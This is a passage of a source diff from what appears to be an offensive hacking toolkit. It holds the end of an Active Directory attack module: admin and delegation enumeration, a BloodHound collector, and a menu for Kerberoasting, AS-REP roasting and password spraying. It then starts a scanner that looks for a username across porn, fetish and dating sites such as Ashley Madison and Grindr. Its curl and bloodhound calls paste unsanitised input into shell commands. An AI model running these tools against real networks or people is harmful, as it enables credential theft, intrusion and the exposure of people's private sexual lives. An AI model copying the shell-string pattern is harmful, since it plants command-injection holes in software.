self.is_connected(): + return {'error': 'Not connected', 'admins': []} + + admin_groups = [ + ('Domain Admins', f'CN=Domain Admins,CN=Users,{self.domain_dn}'), + ('Enterprise Admins', f'CN=Enterprise Admins,CN=Users,{self.domain_dn}'), + ('Schema Admins', f'CN=Schema Admins,CN=Users,{self.domain_dn}'), + ('Account Operators', f'CN=Account Operators,CN=Builtin,{self.domain_dn}'), + ('Administrators', f'CN=Administrators,CN=Builtin,{self.domain_dn}'), + ('Server Operators', f'CN=Server Operators,CN=Builtin,{self.domain_dn}'), + ('Backup Operators', f'CN=Backup Operators,CN=Builtin,{self.domain_dn}'), + ] + + all_admins = [] + for group_name, group_dn in admin_groups: + ldap_filter = f'(&(objectCategory=person)(objectClass=user)(memberOf={group_dn}))' + entries = self._ldap_search( + search_filter=ldap_filter, + attributes=['sAMAccountName', 'displayName', 'userAccountControl', + 'lastLogon', 'pwdLastSet', 'adminCount'] + ) + members = [] + for entry in entries: + uac = int(entry.get('userAccountControl', 0) or 0) + members.append({ + 'username': entry.get('sAMAccountName', ''), + 'display_name': entry.get('displayName', ''), + 'enabled': not bool(uac & 0x0002), + 'last_logon': _ad_timestamp_to_str(entry.get('lastLogon', '0')), + 'pwd_last_set': _ad_timestamp_to_str(entry.get('pwdLastSet', '0')), + }) + + all_admins.append({ + 'group': group_name, + 'group_dn': group_dn, + 'members': members, + 'count': len(members), + }) + + self.results['admin_accounts'] = all_admins + self._save_results('admin_accounts', all_admins) + return {'admins': all_admins, 'total_groups': len(all_admins)} + + def find_unconstrained_delegation(self): + """Find servers with unconstrained delegation (TRUSTED_FOR_DELEGATION).""" + if not self.is_connected(): + return {'error': 'Not connected', 'servers': []} + + # 0x80000 = TRUSTED_FOR_DELEGATION, exclude DCs (0x2000) + ldap_filter = ( + '(&(objectCategory=computer)' + '(userAccountControl:1.2.840.113556.1.4.803:=524288)' + '(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))' + ) + attrs = ['sAMAccountName', 'dNSHostName', 'distinguishedName', + 'operatingSystem', 'description'] + + entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs) + servers = [] + for entry in entries: + servers.append({ + 'name': entry.get('sAMAccountName', '').rstrip('$'), + 'dns_name': entry.get('dNSHostName', ''), + 'dn': entry.get('dn', ''), + 'os': entry.get('operatingSystem', ''), + 'description': entry.get('description', ''), + 'risk': 'High', + }) + + self.results['unconstrained_delegation'] = servers + return {'servers': servers, 'count': len(servers)} + + def find_constrained_delegation(self): + """Find constrained delegation configurations.""" + if not self.is_connected(): + return {'error': 'Not connected', 'servers': []} + + ldap_filter = '(msDS-AllowedToDelegateTo=*)' + attrs = ['sAMAccountName', 'dNSHostName', 'distinguishedName', + 'msDS-AllowedToDelegateTo', 'objectCategory', 'operatingSystem', + 'userAccountControl'] + + entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs) + servers = [] + for entry in entries: + delegate_to = entry.get('msDS-AllowedToDelegateTo', []) + if isinstance(delegate_to, str): + delegate_to = [delegate_to] + elif delegate_to is None: + delegate_to = [] + + uac = int(entry.get('userAccountControl', 0) or 0) + protocol_transition = bool(uac & 0x1000000) + + servers.append({ + 'name': entry.get('sAMAccountName', '').rstrip('$'), + 'dns_name': entry.get('dNSHostName', ''), + 'dn': entry.get('dn', ''), + 'os': entry.get('operatingSystem', ''), + 'allowed_to_delegate_to': delegate_to, + 'protocol_transition': protocol_transition, + 'risk': 'High' if protocol_transition else 'Medium', + }) + + self.results['constrained_delegation'] = servers + return {'servers': servers, 'count': len(servers)} + + # ========== BLOODHOUND ========== + + def bloodhound_collect(self, dc_host, domain, username, password): + """Run BloodHound data collection. + + Tries bloodhound-python (SharpHound equivalent) via subprocess, + falls back to manual LDAP-based collection. + """ + output_dir = self.data_dir / 'bloodhound' + output_dir.mkdir(parents=True, exist_ok=True) + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + + collection_stats = { + 'users': 0, 'groups': 0, 'computers': 0, + 'sessions': 0, 'domains': 0, + 'files': [], 'method': '', 'timestamp': ts, + } + + # Try bloodhound-python + for cmd_prefix in ['bloodhound-python', 'python -m bloodhound']: + cmd = ( + f'{cmd_prefix} -u {username} -p {password} ' + f'-d {domain} -dc {dc_host} -c All ' + f'--zip -o {output_dir}' + ) + success, output = self._run_cmd(cmd, timeout=300) + if success: + collection_stats['method'] = 'bloodhound-python' + # Count output files + for f in output_dir.glob('*.json'): + collection_stats['files'].append(str(f.name)) + for f in output_dir.glob('*.zip'): + collection_stats['files'].append(str(f.name)) + # Parse counts from output + for line in output.splitlines(): + if 'users' in line.lower(): + try: + collection_stats['users'] = int(''.join(c for c in line.split()[-1] if c.isdigit()) or 0) + except ValueError: + pass + if 'groups' in line.lower(): + try: + collection_stats['groups'] = int(''.join(c for c in line.split()[-1] if c.isdigit()) or 0) + except ValueError: + pass + if 'computers' in line.lower(): + try: + collection_stats['computers'] = int(''.join(c for c in line.split()[-1] if c.isdigit()) or 0) + except ValueError: + pass + + self.results['bloodhound'] = collection_stats + self._save_results('bloodhound', collection_stats) + return { + 'success': True, + 'stats': collection_stats, + 'message': f'BloodHound collection complete via {cmd_prefix}' + } + + # Fallback: manual LDAP collection into BloodHound-compatible JSON + collection_stats['method'] = 'manual_ldap' + + # Collect users + user_result = self.enumerate_users() + users_data = user_result.get('users', []) + collection_stats['users'] = len(users_data) + users_file = output_dir / f'users_{ts}.json' + with open(users_file, 'w') as f: + json.dump({'data': users_data, 'meta': {'type': 'users', 'count': len(users_data)}}, f, indent=2, default=str) + collection_stats['files'].append(users_file.name) + + # Collect groups + group_result = self.enumerate_groups() + groups_data = group_result.get('groups', []) + collection_stats['groups'] = len(groups_data) + groups_file = output_dir / f'groups_{ts}.json' + with open(groups_file, 'w') as f: + json.dump({'data': groups_data, 'meta': {'type': 'groups', 'count': len(groups_data)}}, f, indent=2, default=str) + collection_stats['files'].append(groups_file.name) + + # Collect computers + comp_result = self.enumerate_computers() + comps_data = comp_result.get('computers', []) + collection_stats['computers'] = len(comps_data) + comps_file = output_dir / f'computers_{ts}.json' + with open(comps_file, 'w') as f: + json.dump({'data': comps_data, 'meta': {'type': 'computers', 'count': len(comps_data)}}, f, indent=2, default=str) + collection_stats['files'].append(comps_file.name) + + # Domain info + domain_info = { + 'name': self.domain, + 'dn': self.domain_dn, + 'dcs': self.results.get('dcs', []), + 'trusts': self.results.get('trusts', []), + } + collection_stats['domains'] = 1 + domain_file = output_dir / f'domains_{ts}.json' + with open(domain_file, 'w') as f: + json.dump({'data': [domain_info], 'meta': {'type': 'domains', 'count': 1}}, f, indent=2, default=str) + collection_stats['files'].append(domain_file.name) + + self.results['bloodhound'] = collection_stats + self._save_results('bloodhound', collection_stats) + return { + 'success': True, + 'stats': collection_stats, + 'message': 'Manual LDAP collection complete (bloodhound-python not found — pip install bloodhound)' + } + + # ========== EXPORT ========== + + def export_results(self, fmt='json'): + """Export all collected enumeration and attack results.""" + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + + export_data = { + 'metadata': { + 'timestamp': ts, + 'domain': self.domain, + 'dc_host': self.dc_host, + 'format': fmt, + }, + 'results': {} + } + + for key, value in self.results.items(): + if value: # Only include non-empty results + export_data['results'][key] = value + + if fmt == 'json': + path = self.data_dir / f'ad_audit_export_{ts}.json' + with open(path, 'w') as f: + json.dump(export_data, f, indent=2, default=str) + return {'success': True, 'path': str(path), 'format': 'json'} + + elif fmt == 'csv': + import csv + files = [] + for key, data in export_data['results'].items(): + if isinstance(data, list) and data: + path = self.data_dir / f'ad_audit_{key}_{ts}.csv' + with open(path, 'w', newline='') as f: + if isinstance(data[0], dict): + writer = csv.DictWriter(f, fieldnames=data[0].keys()) + writer.writeheader() + for row in data: + # Flatten lists to strings + flat = {} + for k, v in row.items(): + flat[k] = '; '.join(v) if isinstance(v, list) else v + writer.writerow(flat) + else: + writer = csv.writer(f) + for item in data: + writer.writerow([item]) + files.append(str(path)) + return {'success': True, 'files': files, 'format': 'csv'} + + return {'success': False, 'message': f'Unsupported format: {fmt}'} + + +# ========== SINGLETON ========== + +_instance = None + + +def get_ad_audit(): + """Get or create singleton ADToolkit instance.""" + global _instance + if _instance is None: + _instance = ADToolkit() + return _instance + + +# ========== CLI MENU ========== + +def run(): + """CLI menu for Active Directory Audit module.""" + clear_screen() + display_banner() + ad = get_ad_audit() + + while True: + print(f"\n{Colors.BOLD}{Colors.RED}Active Directory Audit{Colors.RESET}") + print(f"{Colors.DIM}LDAP enumeration, Kerberoasting, password spray, ACL analysis{Colors.RESET}\n") + + # Connection status + if ad.is_connected(): + print(f" {Colors.GREEN}Connected:{Colors.RESET} {ad.dc_host} ({ad.domain}) as {ad.username or 'anonymous'}") + else: + print(f" {Colors.YELLOW}Not connected{Colors.RESET}") + + print(f"\n {Colors.CYAN}1{Colors.RESET} - Connect to DC") + print(f" {Colors.CYAN}2{Colors.RESET} - Enumerate Users") + print(f" {Colors.CYAN}3{Colors.RESET} - Enumerate Groups") + print(f" {Colors.CYAN}4{Colors.RESET} - Kerberoast") + print(f" {Colors.CYAN}5{Colors.RESET} - AS-REP Roast") + print(f" {Colors.CYAN}6{Colors.RESET} - Password Spray") + print(f" {Colors.CYAN}7{Colors.RESET} - ACL Analysis") + print(f" {Colors.CYAN}8{Colors.RESET} - BloodHound Collect") + print(f" {Colors.CYAN}9{Colors.RESET} - Enumerate Computers") + print(f" {Colors.CYAN}10{Colors.RESET} - Find Admin Accounts") + print(f" {Colors.CYAN}11{Colors.RESET} - Find Delegation") + print(f" {Colors.CYAN}12{Colors.RESET} - Export Results") + print(f" {Colors.CYAN}0{Colors.RESET} - Back\n") + + choice = input(f"{Colors.WHITE}Select> {Colors.RESET}").strip() + + if choice == '0': + if ad.is_connected(): + ad.disconnect() + break + + elif choice == '1': + print(f"\n{Colors.BOLD}Connect to Domain Controller{Colors.RESET}") + dc_host = input(f" DC Host/IP: ").strip() + domain = input(f" Domain (e.g. corp.local): ").strip() + username = input(f" Username (blank=anonymous): ").strip() or None + password = None + if username: + import getpass + password = getpass.getpass(f" Password: ") or None + ssl = input(f" Use SSL/LDAPS? (y/N): ").strip().lower() == 'y' + + if dc_host and domain: + result = ad.connect(dc_host, domain, username, password, ssl) + status = 'success' if result['success'] else 'error' + ad.print_status(result['message'], status) + else: + ad.print_status('DC host and domain are required', 'error') + + elif choice == '2': + if not ad.is_connected(): + ad.print_status('Not connected — connect first', 'error') + continue + ad.print_status('Enumerating users...', 'info') + result = ad.enumerate_users() + count = result.get('count', 0) + ad.print_status(f'Found {count} users', 'success') + for u in result.get('users', [])[:20]: + flags = ', '.join(u.get('uac_flags', [])[:3]) + status_icon = '+' if u.get('enabled') else '-' + print(f" [{status_icon}] {u['username']:<25} {u.get('display_name', ''):<25} {flags}") + if count > 20: + print(f" ... and {count - 20} more") + + elif choice == '3': + if not ad.is_connected(): + ad.print_status('Not connected — connect first', 'error') + continue + ad.print_status('Enumerating groups...', 'info') + result = ad.enumerate_groups() + count = result.get('count', 0) + ad.print_status(f'Found {count} groups', 'success') + for g in result.get('groups', [])[:20]: + print(f" {g['name']:<35} Members: {g['member_count']:<5} {g['scope']}") + if count > 20: + print(f" ... and {count - 20} more") + + elif choice == '4': + print(f"\n{Colors.BOLD}Kerberoast{Colors.RESET}") + dc = input(f" DC Host/IP [{ad.dc_host or ''}]: ").strip() or ad.dc_host + dom = input(f" Domain [{ad.domain or ''}]: ").strip() or ad.domain + user = input(f" Username [{ad.username or ''}]: ").strip() or ad.username + import getpass + pwd = getpass.getpass(f" Password: ") or ad.password + if dc and dom and user and pwd: + ad.print_status('Running Kerberoast...', 'info') + result = ad.kerberoast(dc, dom, user, pwd) + ad.print_status(result.get('message', ''), 'success' if result.get('count', 0) > 0 else 'warning') + for h in result.get('hashes', []): + print(f" {h[:80]}...") + else: + ad.print_status('All fields required', 'error') + + elif choice == '5': + print(f"\n{Colors.BOLD}AS-REP Roast{Colors.RESET}") + dc = input(f" DC Host/IP [{ad.dc_host or ''}]: ").strip() or ad.dc_host + dom = input(f" Domain [{ad.domain or ''}]: ").strip() or ad.domain + ul = input(f" User list (comma-separated, blank=auto): ").strip() + userlist = [u.strip() for u in ul.split(',')] if ul else None + if dc and dom: + ad.print_status('Running AS-REP Roast...', 'info') + result = ad.asrep_roast(dc, dom, userlist) + ad.print_status(result.get('message', ''), 'success' if result.get('count', 0) > 0 else 'warning') + for h in result.get('hashes', []): + print(f" {h[:80]}...") + else: + ad.print_status('DC and domain required', 'error') + + elif choice == '6': + print(f"\n{Colors.BOLD}Password Spray{Colors.RESET}") + dc = input(f" DC Host/IP [{ad.dc_host or ''}]: ").strip() or ad.dc_host + dom = input(f" Domain [{ad.domain or ''}]: ").strip() or ad.domain + ul = input(f" User list (comma-separated): ").strip() + import getpass + pwd = getpass.getpass(f" Password to spray: ") + proto = input(f" Protocol (ldap/smb) [ldap]: ").strip() or 'ldap' + if dc and dom and ul and pwd: + users = [u.strip() for u in ul.split(',')] + ad.print_status(f'Spraying {len(users)} users with protocol={proto}...', 'info') + result = ad.password_spray(users, pwd, dc, dom, proto) + ad.print_status( + f'Done: {result["success_count"]} success, ' + f'{result["failure_count"]} failed, ' + f'{result["lockout_count"]} lockouts', + 'success' + ) + for r in result.get('results', []): + color = Colors.GREEN if r['status'] == 'success' else (Colors.RED if r['status'] == 'lockout' else Colors.DIM) + print(f" {color}{r['username']:<25} {r['status']:<12} {r['message']}{Colors.RESET}") + else: + ad.print_status('All fields required', 'error') + + elif choice == '7': + if not ad.is_connected(): + ad.print_status('Not connected — connect first', 'error') + continue + ad.print_status('Analyzing ACLs...', 'info') + result = ad.analyze_acls() + count = result.get('count', 0) + ad.print_status(f'Found {count} ACL findings', 'success') + for f in result.get('findings', []): + risk_color = Colors.RED if f['risk'] == 'Critical' else (Colors.YELLOW if f['risk'] == 'High' else Colors.DIM) + print(f" {risk_color}[{f['risk']}]{Colors.RESET} {f['target']}: {f['permission']}") + + elif choice == '8': + print(f"\n{Colors.BOLD}BloodHound Collection{Colors.RESET}") + dc = input(f" DC Host/IP [{ad.dc_host or ''}]: ").strip() or ad.dc_host + dom = input(f" Domain [{ad.domain or ''}]: ").strip() or ad.domain + user = input(f" Username [{ad.username or ''}]: ").strip() or ad.username + import getpass + pwd = getpass.getpass(f" Password: ") or ad.password + if dc and dom and user and pwd: + ad.print_status('Running BloodHound collection (this may take a while)...', 'info') + result = ad.bloodhound_collect(dc, dom, user, pwd) + ad.print_status(result.get('message', ''), 'success' if result.get('success') else 'error') + stats = result.get('stats', {}) + print(f" Users: {stats.get('users', 0)} Groups: {stats.get('groups', 0)} Computers: {stats.get('computers', 0)}") + print(f" Files: {', '.join(stats.get('files', []))}") + else: + ad.print_status('All fields required', 'error') + + elif choice == '9': + if not ad.is_connected(): + ad.print_status('Not connected — connect first', 'error') + continue + ad.print_status('Enumerating computers...', 'info') + result = ad.enumerate_computers() + count = result.get('count', 0) + ad.print_status(f'Found {count} computers', 'success') + for c in result.get('computers', [])[:20]: + deleg = ' [UNCONSTRAINED DELEG]' if c.get('trusted_for_delegation') else '' + print(f" {c['name']:<25} {c.get('os', ''):<30} {c.get('dns_name', '')}{deleg}") + + elif choice == '10': + if not ad.is_connected(): + ad.print_status('Not connected — connect first', 'error') + continue + ad.print_status('Finding admin accounts...', 'info') + result = ad.find_admin_accounts() + for grp in result.get('admins', []): + print(f"\n {Colors.BOLD}{grp['group']}{Colors.RESET} ({grp['count']} members)") + for m in grp.get('members', []): + status_icon = Colors.GREEN + '+' if m['enabled'] else Colors.RED + '-' + print(f" [{status_icon}{Colors.RESET}] {m['username']:<25} {m.get('display_name', '')}") + + elif choice == '11': + if not ad.is_connected(): + ad.print_status('Not connected — connect first', 'error') + continue + ad.print_status('Finding delegation configurations...', 'info') + uc = ad.find_unconstrained_delegation() + cc = ad.find_constrained_delegation() + print(f"\n {Colors.BOLD}Unconstrained Delegation:{Colors.RESET} {uc.get('count', 0)} servers") + for s in uc.get('servers', []): + print(f" {Colors.RED}[HIGH]{Colors.RESET} {s['name']} ({s.get('os', '')})") + print(f"\n {Colors.BOLD}Constrained Delegation:{Colors.RESET} {cc.get('count', 0)} servers") + for s in cc.get('servers', []): + print(f" [{s['risk']}] {s['name']} -> {', '.join(s.get('allowed_to_delegate_to', []))}") + + elif choice == '12': + fmt = input(f" Format (json/csv) [json]: ").strip() or 'json' + result = ad.export_results(fmt) + if result.get('success'): + ad.print_status(f'Exported to: {result.get("path", "") or ", ".join(result.get("files", []))}', 'success') + else: + ad.print_status(result.get('message', 'Export failed'), 'error') + + else: + ad.print_status('Invalid selection', 'warning') + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/adultscan.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/adultscan.py new file mode 100644 index 0000000..254de74 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/adultscan.py @@ -0,0 +1,847 @@ +""" +AUTARCH Adult Site Scanner Module +Username OSINT for adult-oriented platforms + +Searches usernames across adult content sites, fanfiction platforms, +and related communities. +""" + +import sys +import subprocess +import re +import json +from pathlib import Path +from urllib.parse import quote +from concurrent.futures import ThreadPoolExecutor, as_completed + +# Module metadata +DESCRIPTION = "Adult site username OSINT scanner" +AUTHOR = "darkHal" +VERSION = "1.3" +CATEGORY = "osint" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner +from core.config import get_config + +# Custom sites storage file +from core.paths import get_app_dir as _app_dir +CUSTOM_SITES_FILE = _app_dir() / "custom_adultsites.json" +# Bulk import file +BULK_IMPORT_FILE = _app_dir() / "custom_sites.inf" + +# Common username URL patterns for auto-detection +COMMON_PATTERNS = [ + '/user/{}', + '/users/{}', + '/u/{}', + '/profile/{}', + '/profiles/{}', + '/member/{}', + '/members/{}', + '/@{}', + '/{}', + '/people/{}', + '/account/{}', + '/id/{}', + '/{}/profile', + '/user/{}/profile', + '/channel/{}', + '/c/{}', + '/p/{}', +] + + +class AdultScanner: + """Username scanner for adult-oriented sites.""" + + # Default site definitions: (name, url_template, method) + # method: 'status' = check HTTP status, 'content' = check page content + DEFAULT_SITES = { + # Fanfiction & Story Sites + 'fanfiction': [ + ('Archive of Our Own', 'https://archiveofourown.org/users/{}/profile', 'status'), + ('FanFiction.net', 'https://www.fanfiction.net/u/0/{}', 'content'), + ('FimFiction', 'https://www.fimfiction.net/user/{}', 'status'), + ('Wattpad', 'https://www.wattpad.com/user/{}', 'status'), + ('Literotica', 'https://www.literotica.com/stories/memberpage.php?uid=0&username={}', 'content'), + ('Adult-FanFiction', 'http://members.adult-fanfiction.org/profile.php?no=0&uname={}', 'content'), + ('Hentai Foundry', 'https://www.hentai-foundry.com/user/{}/profile', 'status'), + ('SoFurry', 'https://www.sofurry.com/browse/user/{}', 'status'), + ('Inkbunny', 'https://inkbunny.net/{}', 'status'), + ], + + # Art & Creative + 'art': [ + ('DeviantArt', 'https://www.deviantart.com/{}', 'status'), + ('Fur Affinity', 'https://www.furaffinity.net/user/{}/', 'status'), + ('Newgrounds', 'https://{}.newgrounds.com', 'status'), + ('Pixiv', 'https://www.pixiv.net/en/users/{}', 'content'), + ('Rule34', 'https://rule34.xxx/index.php?page=account&s=profile&uname={}', 'content'), + ('e621', 'https://e621.net/users?name={}', 'content'), + ('Derpibooru', 'https://derpibooru.org/profiles/{}', 'status'), + ('Twitter/X', 'https://twitter.com/{}', 'status'), + ('Tumblr', 'https://{}.tumblr.com', 'status'), + ('Pillowfort', 'https://www.pillowfort.social/{}', 'status'), + ], + + # Video & Streaming + 'video': [ + ('Pornhub', 'https://www.pornhub.com/users/{}', 'status'), + ('XVideos', 'https://www.xvideos.com/profiles/{}', 'status'), + ('xHamster', 'https://xhamster.com/users/{}', 'status'), + ('Chaturbate', 'https://chaturbate.com/{}/', 'status'), + ('OnlyFans', 'https://onlyfans.com/{}', 'status'), + ('Fansly', 'https://fansly.com/{}', 'status'), + ('ManyVids', 'https://www.manyvids.com/Profile/0/{}/', 'content'), + ('PocketStars', 'https://pocketstars.com/{}', 'status'), + ], + + # Forums & Communities + 'forums': [ + ('Reddit', 'https://www.reddit.com/user/{}', 'status'), + ('F-List', 'https://www.f-list.net/c/{}', 'status'), + ('FetLife', 'https://fetlife.com/users/{}', 'content'), + ('Kink.com', 'https://www.kink.com/model/{}', 'content'), + ('BDSMLR', 'https://{}.bdsmlr.com', 'status'), + ('CollarSpace', 'https://www.collarspace.com/view/{}', 'content'), + ], + + # Dating & Social + 'dating': [ + ('AdultFriendFinder', 'https://adultfriendfinder.com/p/{}', 'content'), + ('Ashley Madison', 'https://www.ashleymadison.com/{}', 'content'), + ('Grindr', 'https://www.grindr.com/{}', 'content'), + ('Scruff', 'https://www.scruff.com/{}', 'content'), + ('Recon', 'https://www.recon.com/{}', 'content'), + ], + + # Gaming Related (with adult content) + 'gaming': [ + ('F95zone', 'https://f95zone.to/members/?username={}', 'content'), + ('LoversLab', 'https://www.loverslab.com/profile/?name={}', 'content'), + ('ULMF', 'https://ulmf.org/member.php?username={}', 'content'), + ('Nutaku', 'https://www.nutaku.net/user/{}/', 'content'), + ], + } + + def __init__(self): + self.results = [] + self.config = get_config() + osint_settings = self.config.get_osint_settings() + self.timeout = osint_settings['timeout'] + self.max_threads = osint_settings['max_threads'] + # Copy default sites and add custom sites + self.sites = {k: list(v) for k, v in self.DEFAULT_SITES.items()} + self.sites['custom'] = [] + self.load_custom_sites() + + def load_custom_sites(self): + """Load custom sites from JSON file.""" + if CUSTOM_SITES_FILE.exists(): + try: + with open(CUSTOM_SITES_FILE, 'r') as f: + data = json.load(f) + self.sites['custom'] = [tuple(site) for site in data.get('sites', [])] + except Exception as e: + self.sites['custom'] = [] + + def save_custom_sites(self): + """Save custom sites to JSON file.""" + try: + data = {'sites': [list(site) for site in self.sites['custom']]} + with open(CUSTOM_SITES_FILE, 'w') as f: + json.dump(data, f, indent=2) + return True + except Exception as e: + return False + + def add_custom_site(self): + """Interactively add a custom site.""" + print(f"\n{Colors.BOLD}Add Custom Site{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + print() + print(f"{Colors.CYAN}URL Pattern Format:{Colors.RESET}") + print(f" Use {Colors.YELLOW}*{Colors.RESET} where the username should go") + print(f" Example: {Colors.DIM}https://example.com/user/*{Colors.RESET}") + print(f" Example: {Colors.DIM}https://example.com/profile?name=*{Colors.RESET}") + print() + + # Get site name + name = input(f"{Colors.WHITE}Site name: {Colors.RESET}").strip() + if not name: + self.print_status("Cancelled - no name provided", "warning") + return + + # Get URL pattern + url_pattern = input(f"{Colors.WHITE}URL pattern (use * for username): {Colors.RESET}").strip() + if not url_pattern: + self.print_status("Cancelled - no URL provided", "warning") + return + + if '*' not in url_pattern: + self.print_status("URL must contain * for username placeholder", "error") + return + + # Convert * to {} for internal format + url_template = url_pattern.replace('*', '{}') + + # Ensure URL has protocol + if not url_template.startswith('http://') and not url_template.startswith('https://'): + url_template = 'https://' + url_template + + # Get detection method + print() + print(f"{Colors.CYAN}Detection Method:{Colors.RESET}") + print(f" {Colors.GREEN}[1]{Colors.RESET} Status code (default) - Check HTTP response code") + print(f" {Colors.GREEN}[2]{Colors.RESET} Content - For sites with custom 404 pages") + method_choice = input(f"{Colors.WHITE}Select [1]: {Colors.RESET}").strip() or "1" + method = 'content' if method_choice == '2' else 'status' + + # Add to custom sites + new_site = (name, url_template, method) + self.sites['custom'].append(new_site) + + # Save to file + if self.save_custom_sites(): + self.print_status(f"Added '{name}' to custom sites", "success") + print(f"{Colors.DIM} URL: {url_template.replace('{}', '')}{Colors.RESET}") + else: + self.print_status("Failed to save custom sites", "error") + + def manage_custom_sites(self): + """View and manage custom sites.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.BOLD}Manage Custom Sites{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + print() + + custom = self.sites.get('custom', []) + if not custom: + print(f"{Colors.YELLOW}No custom sites added yet.{Colors.RESET}") + print() + print(f" {Colors.GREEN}[1]{Colors.RESET} Add New Site") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip() + if choice == "1": + self.add_custom_site() + else: + break + else: + print(f"{Colors.CYAN}Custom Sites ({len(custom)}):{Colors.RESET}") + print() + for i, (name, url, method) in enumerate(custom, 1): + display_url = url.replace('{}', '*') + method_tag = f"[{method}]" + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {name:25} {Colors.DIM}{method_tag}{Colors.RESET}") + print(f" {Colors.DIM}{display_url}{Colors.RESET}") + print() + print(f" {Colors.GREEN}[A]{Colors.RESET} Add New Site") + print(f" {Colors.RED}[R]{Colors.RESET} Remove Site") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip().upper() + + if choice == "0": + break + elif choice == "A": + self.add_custom_site() + elif choice == "R": + self.remove_custom_site() + + def remove_custom_site(self): + """Remove a custom site.""" + custom = self.sites.get('custom', []) + if not custom: + self.print_status("No custom sites to remove", "warning") + return + + print() + idx_input = input(f"{Colors.WHITE}Enter site number to remove: {Colors.RESET}").strip() + + try: + idx = int(idx_input) - 1 + if 0 <= idx < len(custom): + removed = custom.pop(idx) + if self.save_custom_sites(): + self.print_status(f"Removed '{removed[0]}'", "success") + else: + self.print_status("Failed to save changes", "error") + else: + self.print_status("Invalid selection", "error") + except ValueError: + self.print_status("Invalid number", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def auto_detect_site(self): + """Auto-detect URL pattern for a domain.""" + print(f"\n{Colors.BOLD}Auto-Detect Site Pattern{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + print() + print(f"{Colors.CYAN}Enter just the domain name and we'll find the pattern.{Colors.RESET}") + print(f"{Colors.DIM}Example: example.com or www.example.com{Colors.RESET}") + print() + + # Get domain + domain = input(f"{Colors.WHITE}Domain: {Colors.RESET}").strip() + if not domain: + self.print_status("Cancelled - no domain provided", "warning") + return + + # Clean up domain + domain = domain.replace('https://', '').replace('http://', '').rstrip('/') + + # Get test username + print() + print(f"{Colors.CYAN}We need a known username to test patterns.{Colors.RESET}") + print(f"{Colors.DIM}Enter a username that you know EXISTS on this site.{Colors.RESET}") + test_user = input(f"{Colors.WHITE}Test username: {Colors.RESET}").strip() + if not test_user: + self.print_status("Cancelled - no test username provided", "warning") + return + + print(f"\n{Colors.CYAN}Testing {len(COMMON_PATTERNS)} common URL patterns...{Colors.RESET}\n") + + # Test each pattern + working_patterns = [] + for i, pattern in enumerate(COMMON_PATTERNS): + url = f"https://{domain}{pattern}".format(test_user) + print(f"\r{Colors.DIM} Testing pattern {i+1}/{len(COMMON_PATTERNS)}: {pattern}{' ' * 20}{Colors.RESET}", end="") + + cmd = f"curl -sI -o /dev/null -w '%{{http_code}}' -L --max-time 5 '{url}' 2>/dev/null" + success, output, _ = self.run_cmd(cmd, 7) + + if success: + status_code = output.strip() + if status_code in ['200', '301', '302']: + working_patterns.append((pattern, status_code, url)) + + print(f"\r{' ' * 80}\r", end="") # Clear line + + if not working_patterns: + print(f"{Colors.YELLOW}No working patterns found.{Colors.RESET}") + print(f"{Colors.DIM}The site may use a non-standard URL format.{Colors.RESET}") + print(f"{Colors.DIM}Try using manual add [A] with the correct URL pattern.{Colors.RESET}") + return + + # Display working patterns + print(f"{Colors.GREEN}Found {len(working_patterns)} working pattern(s):{Colors.RESET}\n") + for i, (pattern, status, url) in enumerate(working_patterns, 1): + status_info = "OK" if status == '200' else f"redirect ({status})" + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {pattern:20} {Colors.DIM}({status_info}){Colors.RESET}") + print(f" {Colors.DIM}{url}{Colors.RESET}") + print() + + # Let user select + print(f" {Colors.DIM}[0]{Colors.RESET} Cancel") + print() + + choice = input(f"{Colors.WHITE}Select pattern to add: {Colors.RESET}").strip() + + try: + idx = int(choice) - 1 + if 0 <= idx < len(working_patterns): + selected_pattern, status, _ = working_patterns[idx] + url_template = f"https://{domain}{selected_pattern}" + + # Get site name + default_name = domain.split('.')[0].title() + name = input(f"{Colors.WHITE}Site name [{default_name}]: {Colors.RESET}").strip() or default_name + + # Determine method based on status + method = 'status' if status == '200' else 'content' + + # Add to custom sites + new_site = (name, url_template, method) + self.sites['custom'].append(new_site) + + if self.save_custom_sites(): + self.print_status(f"Added '{name}' to custom sites", "success") + print(f"{Colors.DIM} Pattern: {url_template.replace('{}', '*')}{Colors.RESET}") + else: + self.print_status("Failed to save custom sites", "error") + elif choice != "0": + self.print_status("Cancelled", "warning") + except ValueError: + if choice != "0": + self.print_status("Invalid selection", "error") + + def probe_domain(self, domain: str, test_user: str, quiet: bool = False) -> list: + """Probe a domain for working URL patterns. Returns list of (pattern, status_code, url).""" + domain = domain.replace('https://', '').replace('http://', '').rstrip('/') + working_patterns = [] + + for i, pattern in enumerate(COMMON_PATTERNS): + url = f"https://{domain}{pattern}".format(test_user) + if not quiet: + print(f"\r{Colors.DIM} Testing {domain}: pattern {i+1}/{len(COMMON_PATTERNS)}{' ' * 20}{Colors.RESET}", end="") + + cmd = f"curl -sI -o /dev/null -w '%{{http_code}}' -L --max-time 5 '{url}' 2>/dev/null" + success, output, _ = self.run_cmd(cmd, 7) + + if success: + status_code = output.strip() + if status_code in ['200', '301', '302']: + working_patterns.append((pattern, status_code, url)) + # For bulk mode, take first working pattern and stop + if quiet: + break + + if not quiet: + print(f"\r{' ' * 80}\r", end="") + + return working_patterns + 